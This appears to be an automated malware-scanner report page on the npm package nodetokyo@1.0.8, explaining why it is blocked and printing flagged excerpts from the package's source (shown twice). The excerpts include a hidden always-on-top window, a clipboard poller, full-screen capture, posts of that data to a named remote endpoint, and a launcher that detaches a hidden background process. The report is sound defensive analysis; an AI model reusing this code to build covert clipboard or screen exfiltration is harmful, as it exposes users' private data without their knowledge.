Loading npm security reports…

nodetokyo@1.0.8: Malicious npm security report (Block) | LPM Firewall

registry / nodetokyo / 1.0.8

nodetokyo@1.0.8

NodeTokyo - AI-Powered Stealth Assistant. Run anywhere with node.

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Running the command launches a concealed background program that monitors clipboard changes and transmits their contents. It can also capture and transmit screen images to a package-controlled web service.

Static reason

No blocking static signals were detected.

Trigger

The user runs the nodetokyo command or start script.

Impact

Sensitive copied text and captured screen content can be exposed to the remote service.

Mechanism

A detached hidden Python process collects clipboard or screen data and posts it remotely.

Attack narrative

The package does not run during npm installation, but its user-invoked launcher silently detaches a concealed Python process. That process polls the clipboard every 300 milliseconds and posts changed text to the remote endpoint without a per-item confirmation. Screen captures are also encoded and posted when scan features are used. The concealed interface and automatic clipboard transmission create a concrete data-exfiltration risk.

Rationale

The source implements automatic remote transmission of clipboard data from a deliberately hidden background process. This is concrete data exfiltration, not merely a user-requested AI request.

Evidence

package.jsonlauncher.jsclient/noderzero.py

Network endpoints1

nodetokyo.vercel.app/api

Decision evidence

public snapshot

Source & flagged code

7 flagged · loading source

client/noderzero.pyView file

225def clipboard_monitor(self): self.check_clipboard() self.root.after(300, self.clipboard_monitor) def check_clipboard(self): try: current = pyperclip.paste() if current == self.last_text: return if len(current.strip()) < 5: return # Skip if clipboard contains our own AI output if 'DONE' in current or 'chars)' in current: return self.last_text = current if not self.is_hidden: if self.current_mode == 'copypaste':

High

Ai Review Evidence

The program continuously reads changed clipboard contents and automatically sends them to a remote service.

client/noderzero.pyView on unpkg · L225

260def ask_ai(self, text): try: resp = session.post( API_URL, json={'text': text, 'mode': self.current_mode}, timeout=60 )

High

Ai Review Evidence

The program continuously reads changed clipboard contents and automatically sends them to a remote service.

client/noderzero.pyView on unpkg · L260

288def scan_screen(self): if self.is_processing: return try: self.is_processing = True self.label.config(text='sc') screenshot = ImageGrab.grab() buf = BytesIO() screenshot.save(buf, format='JPEG', quality=50) img_b64 = base64.b64encode(buf.getvalue()).decode('utf-8') if self.current_mode == 'copypaste': threading.Thread(target=self.ask_ai_ocr, args=(img_b64,), daemon=True).start() else: threading.Thread(target=self.ask_ai_vision, args=(im

High

Ai Review Evidence

It captures full-screen images and sends encoded images to the same remote service when scanning is activated.

client/noderzero.pyView on unpkg · L288

338def ask_ai_vision(self, img_data): try: resp = session.post( API_URL, json={'image': img_data, 'mode': self.current_mode}, timeout=60 )

High

Ai Review Evidence

It captures full-screen images and sends encoded images to the same remote service when scanning is activated.

client/noderzero.pyView on unpkg · L338

107class NodreZero: def __init__(self): # ── Main stealth window ────────────────────────────────── self.root = tk.Tk() self.root.attributes('-topmost', True) # Always on top self.root.overrideredirect(True) # No title bar or border self.root.attributes('-transparentcolor', 'white') # White = invisible self.root.config(bg='white')

High

Ai Review Evidence

The user interface is deliberately transparent, borderless, and always on top, obscuring its activity.

client/noderzero.pyView on unpkg · L107

•path = client/noderzero.py kind = build_helper sizeBytes = 27225 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

client/noderzero.pyView on unpkg

launcher.jsView file

90const proc = spawn(pythonCmd, [scriptPath], { stdio: 'ignore', // detach from Node's stdio so terminal returns immediately shell: false, // direct spawn, no shell wrapper needed detached: true, // Python becomes an independent OS process windowsHide: true, // no extra console window flashes on Windows }); proc.unref(); // Node exits immediately; Python keeps running in background

High

Ai Review Evidence

The command launcher starts the Python program as a detached hidden background process.

launcher.jsView on unpkg · L90

Source & flagged code

7 flagged

client/noderzero.pyView file

225def clipboard_monitor(self): self.check_clipboard() self.root.after(300, self.clipboard_monitor) def check_clipboard(self): try: current = pyperclip.paste() if current == self.last_text: return if len(current.strip()) < 5: return # Skip if clipboard contains our own AI output if 'DONE' in current or 'chars)' in current: return self.last_text = current if not self.is_hidden: if self.current_mode == 'copypaste':

High

Ai Review Evidence

The program continuously reads changed clipboard contents and automatically sends them to a remote service.

client/noderzero.pyView on unpkg · L225

260def ask_ai(self, text): try: resp = session.post( API_URL, json={'text': text, 'mode': self.current_mode}, timeout=60 )

High

Ai Review Evidence

The program continuously reads changed clipboard contents and automatically sends them to a remote service.

client/noderzero.pyView on unpkg · L260

288def scan_screen(self): if self.is_processing: return try: self.is_processing = True self.label.config(text='sc') screenshot = ImageGrab.grab() buf = BytesIO() screenshot.save(buf, format='JPEG', quality=50) img_b64 = base64.b64encode(buf.getvalue()).decode('utf-8') if self.current_mode == 'copypaste': threading.Thread(target=self.ask_ai_ocr, args=(img_b64,), daemon=True).start() else: threading.Thread(target=self.ask_ai_vision, args=(im

High

Ai Review Evidence

It captures full-screen images and sends encoded images to the same remote service when scanning is activated.

client/noderzero.pyView on unpkg · L288

338def ask_ai_vision(self, img_data): try: resp = session.post( API_URL, json={'image': img_data, 'mode': self.current_mode}, timeout=60 )

High

Ai Review Evidence

It captures full-screen images and sends encoded images to the same remote service when scanning is activated.

client/noderzero.pyView on unpkg · L338

107class NodreZero: def __init__(self): # ── Main stealth window ────────────────────────────────── self.root = tk.Tk() self.root.attributes('-topmost', True) # Always on top self.root.overrideredirect(True) # No title bar or border self.root.attributes('-transparentcolor', 'white') # White = invisible self.root.config(bg='white')

High

Ai Review Evidence

The user interface is deliberately transparent, borderless, and always on top, obscuring its activity.

client/noderzero.pyView on unpkg · L107

•path = client/noderzero.py kind = build_helper sizeBytes = 27225 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

client/noderzero.pyView on unpkg

launcher.jsView file

90const proc = spawn(pythonCmd, [scriptPath], { stdio: 'ignore', // detach from Node's stdio so terminal returns immediately shell: false, // direct spawn, no shell wrapper needed detached: true, // Python becomes an independent OS process windowsHide: true, // no extra console window flashes on Windows }); proc.unref(); // Node exits immediately; Python keeps running in background

High

Ai Review Evidence

The command launcher starts the Python program as a detached hidden background process.

launcher.jsView on unpkg · L90